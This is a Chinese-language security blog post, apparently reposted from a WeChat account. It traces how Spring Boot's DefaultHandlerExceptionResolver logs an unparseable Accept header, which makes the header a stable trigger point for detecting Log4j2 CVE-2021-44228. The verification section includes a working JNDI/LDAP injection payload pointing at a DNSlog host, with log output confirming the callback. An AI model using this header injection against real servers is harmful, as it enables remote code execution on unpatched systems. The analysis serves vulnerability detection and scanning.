原创 | 浅谈Log4j2在Springboot的检测

渗透技巧 3年前 (2022) admin
868 0 0

原创 | 浅谈Log4j2在Springboot的检测

点击上方蓝字 关注我吧


原创 | 浅谈Log4j2在Springboot的检测

引言

原创 | 浅谈Log4j2在Springboot的检测
Apache Log4j是一个基于Java的日志记录工具。通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。
其中的CVE-2021-44228从披露到整改修复已经持续了有一段时间了,跟struts2、fastjson这类的漏洞一样,log4j2的漏洞也会是持续的运营重点之一,例如版本控制、黑盒/白盒扫描等。那么针对Java生态中最常用的Spring框架,有没有一种稳定的触发方式,方便黑盒日常的扫描探测,来规避风险呢?
以Springboot为例,尝试找到一种稳定的触发方式来方便漏洞的排查/运营。

原创 | 浅谈Log4j2在Springboot的检测

原创 | 浅谈Log4j2在Springboot的检测

Spring日志相关

原创 | 浅谈Log4j2在Springboot的检测
Spring默认使用的日志记录组件不是log4j,最开始在core包中引入的是commons-logging(JCL标准实现)的日志系统,官方考虑到兼容问题,在后续的Spring版本中并未予以替换,而是继续沿用。如果考虑到性能、效率,应该自行进行替换,可以在项目中明确指定使用的日志框架,从而在编译时就指定日志框架。
commons-logging日志系统是基于运行发现算法(常见的方式就是每次使用org.apache.commons.logging.LogFactory.getLogger(xxx),就会启动一次发现流程),获取最适合的日志系统完成日志记录的功能。部分源码实现:
  • 调用静态的getLog方法,通过LogAdapter适配器来创建具体的Logs对象:

public abstract class LogFactory {

public static Log getLog(String name) { return LogAdapter.createLog(name); }
  • LogAdapter在static代码中根据日志系统jar包类是否存在/可以被加载,识别当前系统的日志实现方式,默认使用JUL,然后使用 switch case的方式结合之前的判断来调用具体的日志适配器,创建具体Log对象

static {        if (isPresent("org.apache.logging.log4j.spi.ExtendedLogger")) {            if (isPresent("org.apache.logging.slf4j.SLF4JProvider") && isPresent("org.slf4j.spi.LocationAwareLogger")) {                logApi = LogAdapter.LogApi.SLF4J_LAL;            } else {                logApi = LogAdapter.LogApi.LOG4J;            }        } else if (isPresent("org.slf4j.spi.LocationAwareLogger")) {            logApi = LogAdapter.LogApi.SLF4J_LAL;        } else if (isPresent("org.slf4j.Logger")) {            logApi = LogAdapter.LogApi.SLF4J;        } else {            logApi = LogAdapter.LogApi.JUL;        }
}
public static Log createLog(String name) { switch(logApi) { case LOG4J: return LogAdapter.Log4jAdapter.createLog(name); case SLF4J_LAL: return LogAdapter.Slf4jAdapter.createLocationAwareLog(name); case SLF4J: return LogAdapter.Slf4jAdapter.createLog(name); default: return LogAdapter.JavaUtilAdapter.createLog(name); } }
  • 最后根据具体的日志框架对相应的方法进行包装适配,即可调用具体的日志系统方法。以log4j为例:

private static class Log4jLog implements Log, Serializable {        private static final String FQCN = LogAdapter.Log4jLog.class.getName();        private static final LoggerContext loggerContext = LogManager.getContext(LogAdapter.Log4jLog.class.getClassLoader(), false);        private final ExtendedLogger logger;
public Log4jLog(String name) { LoggerContext context = loggerContext; if (context == null) { context = LogManager.getContext(LogAdapter.Log4jLog.class.getClassLoader(), false);            }
this.logger = context.getLogger(name); }
public boolean isFatalEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.FATAL); }
public boolean isErrorEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.ERROR); }
public boolean isWarnEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.WARN); }
public boolean isInfoEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.INFO); }
public boolean isDebugEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.DEBUG); }
public boolean isTraceEnabled() { return this.logger.isEnabled(org.apache.logging.log4j.Level.TRACE);        }
public void fatal(Object message) { this.log(org.apache.logging.log4j.Level.FATAL, message, (Throwable)null);        }
public void fatal(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.FATAL, message, exception); }
public void error(Object message) { this.log(org.apache.logging.log4j.Level.ERROR, message, (Throwable)null); }
public void error(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.ERROR, message, exception); }
public void warn(Object message) { this.log(org.apache.logging.log4j.Level.WARN, message, (Throwable)null); }
public void warn(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.WARN, message, exception); }
public void info(Object message) { this.log(org.apache.logging.log4j.Level.INFO, message, (Throwable)null); }
public void info(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.INFO, message, exception); }
public void debug(Object message) { this.log(org.apache.logging.log4j.Level.DEBUG, message, (Throwable)null); }
public void debug(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.DEBUG, message, exception); }
public void trace(Object message) { this.log(org.apache.logging.log4j.Level.TRACE, message, (Throwable)null); }
public void trace(Object message, Throwable exception) { this.log(org.apache.logging.log4j.Level.TRACE, message, exception); }
private void log(org.apache.logging.log4j.Level level, Object message, Throwable exception) { if (message instanceof String) { if (exception != null) { this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, (String)message, exception); } else { this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, (String)message); } } else { this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, message, exception);            }
} }
以Springboot为例,引入log4j的日志解析方法如下:
<dependency>    <groupId>org.springframework.boot</groupId>    <artifactId>spring-boot-starter-web</artifactId>    <exclusions>        <exclusion>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-starter-logging</artifactId>         </exclusion>    </exclusions></dependency><dependency>    <groupId>org.springframework.boot</groupId>    <artifactId>spring-boot-starter-log4j2</artifactId></dependency>
PS:Spring的话同样的只需在依赖中剔除common-loggin包,然后引入其他日志系统就可以了:
<dependency>    <groupId>org.springframework</groupId>    <artifactId>spring-core</artifactId>    <exclusions>        <exclusion>            <groupId>commons-logging</groupId>            <artifactId>commons-logging</artifactId>        </exclusion>    </exclusions></dependency>

原创 | 浅谈Log4j2在Springboot的检测

Spring异常Exception相关

原创 | 浅谈Log4j2在Springboot的检测
引入了漏洞版本的log4j依赖的话,自然会受到影响,如果想找到一个稳定触发验证的point。思路之一是可以寻找打印日志的地方。一般来说,系统在发生异常Exception的时候,有可能会进行日志操作
首先看下Spring异常处理的相关interface/class,看看能不能找到一些思路:
  • AbstractHandlerExceptionResolver抽象类
  • AbstractHandlerMethodExceptionResolver抽象类
  • ExceptionHandlerExceptionResolver类
  • DefaultHandlerExceptionResolver类
  • ResponseStatusExceptionResolver类
  • SimpleMappingExceptionResolver类
HandlerExceptionResolver接口是SpringMVC异常处理核心接口,定义了具体的异常解析方法:
ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex);
AbstractHandlerExceptionResolver会实现HandlerExceptionResolver接口,并在resolveException中定义了具体异常解析的方式,可以理解是一个通用的Exception处理框架:
public abstract class AbstractHandlerExceptionResolver implements HandlerExceptionResolver, Ordered {    @Nullable    public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) {        if (!this.shouldApplyTo(request, handler)) {            return null;        } else {            this.prepareResponse(ex, response);            ModelAndView result = this.doResolveException(request, response, handler, ex);            if (result != null) {                if (this.logger.isDebugEnabled() && (this.warnLogger == null || !this.warnLogger.isWarnEnabled())) {                    this.logger.debug(this.buildLogMessage(ex, request) + (result.isEmpty() ? "" : " to " + result));                }                //logException这里进行了日志输出。                this.logException(ex, request);            }
return result; } }
类似DefaultHandlerExceptionResolver会继承AbstractHandlerExceptionResolver抽象类,基本上所有的spring内置异常解析类都会继承它:
public class DefaultHandlerExceptionResolver extends AbstractHandlerExceptionResolver {
原创 | 浅谈Log4j2在Springboot的检测

分析验证

原创 | 浅谈Log4j2在Springboot的检测
根据上面提到的思路,类似ResponseStatusExceptionResolver会解析带有@ResponseStatus的异常类,将其中的异常信息描述直接返回给客户端。即使把对应的内容写入到了log message中,也有一定的触发条件,不符合稳定触发的预期,同理,AbstractHandlerMethodExceptionResolver,该类主要处理Controller中用@ExceptionHandler注解定义的方法。也有一定的前提。
DefaultHandlerExceptionResolver会对一些请求的异常进行处理,比如NoSuchRequestHandlingMethodException、HttpRequestMethodNotSupportedException、HttpMediaTypeNotSupportedException、HttpMediaTypeNotAcceptableException等。符合稳定触发的预期(例如request method异常,如果对应的内容封装到log4 message并且进行了打印即可触发):
public class DefaultHandlerExceptionResolver extends AbstractHandlerExceptionResolver {  public static final String PAGE_NOT_FOUND_LOG_CATEGORY = "org.springframework.web.servlet.PageNotFound";    protected static final Log pageNotFoundLogger = LogFactory.getLog("org.springframework.web.servlet.PageNotFound");    public DefaultHandlerExceptionResolver() {    setOrder(2147483647);    setWarnLogCategory(getClass().getName());  }    @Nullable  protected ModelAndView doResolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) {    try {      if (ex instanceof HttpRequestMethodNotSupportedException)        return handleHttpRequestMethodNotSupported((HttpRequestMethodNotSupportedException)ex, request, response, handler);       if (ex instanceof HttpMediaTypeNotSupportedException)        return handleHttpMediaTypeNotSupported((HttpMediaTypeNotSupportedException)ex, request, response, handler);       if (ex instanceof HttpMediaTypeNotAcceptableException)        return handleHttpMediaTypeNotAcceptable((HttpMediaTypeNotAcceptableException)ex, request, response, handler);       if (ex instanceof MissingPathVariableException)        return handleMissingPathVariable((MissingPathVariableException)ex, request, response, handler);       if (ex instanceof MissingServletRequestParameterException)        return handleMissingServletRequestParameter((MissingServletRequestParameterException)ex, request, response, handler);       if (ex instanceof ServletRequestBindingException)        return handleServletRequestBindingException((ServletRequestBindingException)ex, request, response, handler);       if (ex instanceof ConversionNotSupportedException)        return handleConversionNotSupported((ConversionNotSupportedException)ex, request, response, handler);       if (ex instanceof TypeMismatchException)        return handleTypeMismatch((TypeMismatchException)ex, request, response, handler);       if (ex instanceof HttpMessageNotReadableException)        return handleHttpMessageNotReadable((HttpMessageNotReadableException)ex, request, response, handler);       if (ex instanceof HttpMessageNotWritableException)        return handleHttpMessageNotWritable((HttpMessageNotWritableException)ex, request, response, handler);       if (ex instanceof MethodArgumentNotValidException)        return handleMethodArgumentNotValidException((MethodArgumentNotValidException)ex, request, response, handler);       if (ex instanceof MissingServletRequestPartException)        return handleMissingServletRequestPartException((MissingServletRequestPartException)ex, request, response, handler);       if (ex instanceof BindException)        return handleBindException((BindException)ex, request, response, handler);       if (ex instanceof NoHandlerFoundException)        return handleNoHandlerFoundException((NoHandlerFoundException)ex, request, response, handler);       if (ex instanceof AsyncRequestTimeoutException)        return handleAsyncRequestTimeoutException((AsyncRequestTimeoutException)ex, request, response, handler);     } catch (Exception handlerEx) {      if (this.logger.isWarnEnabled())        this.logger.warn("Failure while trying to resolve exception [" + ex.getClass().getName() + "]", handlerEx);     }     return null;
DefaultHandlerExceptionResolver继承自AbstractHandlerExceptionResolver且没有重写resolveException方法,那么会调用对应的逻辑:
@Nullable    public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) {        //判断是否需要异常解析        if (!this.shouldApplyTo(request, handler)) {            return null;        } else {            this.prepareResponse(ex, response);            ModelAndView result = this.doResolveException(request, response, handler, ex);            if (result != null) {                if (this.logger.isDebugEnabled() && (this.warnLogger == null || !this.warnLogger.isWarnEnabled())) {                    this.logger.debug(this.buildLogMessage(ex, request) + (result.isEmpty() ? "" : " to " + result));                }                //日志输出                this.logException(ex, request);            }
return result; } }
在logException方法会将异常进行对应的日志输出:
protected void logException(Exception ex, HttpServletRequest request) {        if (this.warnLogger != null && this.warnLogger.isWarnEnabled()) {            this.warnLogger.warn(this.buildLogMessage(ex, request));        }    }
这里调用的是warnLogger,根据前面对日志解析过程的分析,如果使用的日志框架是Log4j的话,Spring自适配后其调用的warn方法类似于Log4j的log.warn(),那么若能找到一个Exception其中的异常信息用户可控且调用了warnLogger.warn()的话便可找到一个稳定触发验证的point了:

原创 | 浅谈Log4j2在Springboot的检测

根据上面的思路,查看符合条件的方法,通过检索HttpMediaTypeNotAcceptableException关键字发现了如下class,看看具体的内容:

原创 | 浅谈Log4j2在Springboot的检测

在Spring中,HeaderContentNegotiationStrategy类主要负责HTTP Header里的Accept字段的解析,如果 Accept请求头不能被解析则抛出HttpMediaTypeNotAcceptableException异常,并且对应的Accept内容会封装进message中
/** * A {@code ContentNegotiationStrategy} that checks the 'Accept' request header. * * @author Rossen Stoyanchev * @author Juergen Hoeller * @since 3.2 */public class HeaderContentNegotiationStrategy implements ContentNegotiationStrategy {        /**         * {@inheritDoc}         * @throws HttpMediaTypeNotAcceptableException if the 'Accept' header cannot be parsed         */        @Override        public List<MediaType> resolveMediaTypes(NativeWebRequest request)                        throws HttpMediaTypeNotAcceptableException {
String[] headerValueArray = request.getHeaderValues(HttpHeaders.ACCEPT); if (headerValueArray == null) { return MEDIA_TYPE_ALL_LIST;                }
List<String> headerValues = Arrays.asList(headerValueArray); try { List<MediaType> mediaTypes = MediaType.parseMediaTypes(headerValues); MediaType.sortBySpecificityAndQuality(mediaTypes); return !CollectionUtils.isEmpty(mediaTypes) ? mediaTypes : MEDIA_TYPE_ALL_LIST; } catch (InvalidMediaTypeException ex) { throw new HttpMediaTypeNotAcceptableException( "Could not parse 'Accept' header " + headerValues + ": " + ex.getMessage()); } }
}
并且这里会进入DefaultHandlerExceptionResolver进行解析。
验证前面的猜想,在Accept字段写入相应的poc(poc内容肯定是不符合MediaType的):

原创 | 浅谈Log4j2在Springboot的检测

可以看到由于MediaType转化错误打印了warn级别的日志(调用了AbstractHandlerExceptionResolver的warnLogger):
2021-12-26 11:01:31.782  WARN 11873 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [text/html${jndi:ldap://fyh9pj.dnslog.cn:1389/}]: Invalid mime type "text/html${jndi:ldap://fyh9pj.dnslog.cn:1389/}": Invalid token character '{' in token "html${jndi:ldap://fyh9pj.dnslog.cn:1389/}"]
断点查看对应的message:

原创 | 浅谈Log4j2在Springboot的检测

并且dnslog成功接收到请求,验证成功:

原创 | 浅谈Log4j2在Springboot的检测

原创 | 浅谈Log4j2在Springboot的检测

其他

原创 | 浅谈Log4j2在Springboot的检测
除此以外,开发常常会使用自定的AOP来进行日志的打印,例如下面的例子记录了请求的方法和path(一些鉴权中间件为了调试/审计,会记录request请求的内容),也是一个可以尝试的point:
@Aspect@Configuration@Log4j2public class LogConsole {     // 定义切点Pointcut    @Pointcut("execution(* com.tools.toolmange.handler.*.*(..))")    public void executeService() {    }     /**     * 在切点之前织入     */    @Before("executeService()")    public void doBefore(JoinPoint joinPoint) throws Throwable {        // 开始打印请求日志        ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();        HttpServletRequest request = attributes.getRequest();        if (request == null)            return;         String username = "";         try{            username = SecurityContextHolder.getUserDetails().getUsername();        }catch (Exception e){            log.info("打印请求参数,用户登陆过期 无法获取请求参数");        }         // 打印请求相关参数        log.info("========================================== Start ==========================================");        //请求人        log.info("UserCode       :"+ username );        // 打印请求 url        log.info("URL            : {}", request.getRequestURL().toString());        // 打印 Http method        log.info("HTTP Method    : {}", request.getMethod());        // 打印调用 controller 的全路径以及执行方法        log.info("Class Method   : {}.{}", joinPoint.getSignature().getDeclaringTypeName(), joinPoint.getSignature().getName());        // 打印请求的 IP        log.info("IP             : {}", request.getRemoteAddr());        // 打印请求入参        log.info("Request Args   : {}", JSONUtil.toJsonStr(joinPoint.getArgs()));    }     /**     * 在切点之后织入     */    @After("executeService()")    public void doAfter() throws Throwable {        log.info("=========================================== End ===========================================");        // 每个请求之间空一行        log.info("");    }     /**     * 环绕     */    @Around("executeService()")    public Object doAround(ProceedingJoinPoint proceedingJoinPoint) throws Throwable {        long startTime = System.currentTimeMillis();        Object result = proceedingJoinPoint.proceed();         // 执行耗时        log.info("Time-Consuming : {} ms", System.currentTimeMillis() - startTime);        return result;    } }


相关推荐




原创 | 绕过后缀安全检查进行文件上传-2
原创 | 某cms比较有意思的sql注入
原创 | 浅谈httpClient组件与ssrf
原创 | 浅谈Log4j2在Springboot的检测
你要的分享、在看与点赞都在这儿~

原文始发于微信公众号(SecIN技术平台):原创 | 浅谈Log4j2在Springboot的检测

版权声明:admin 发表于 2022年1月5日 上午10:00。
转载请注明:原创 | 浅谈Log4j2在Springboot的检测 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...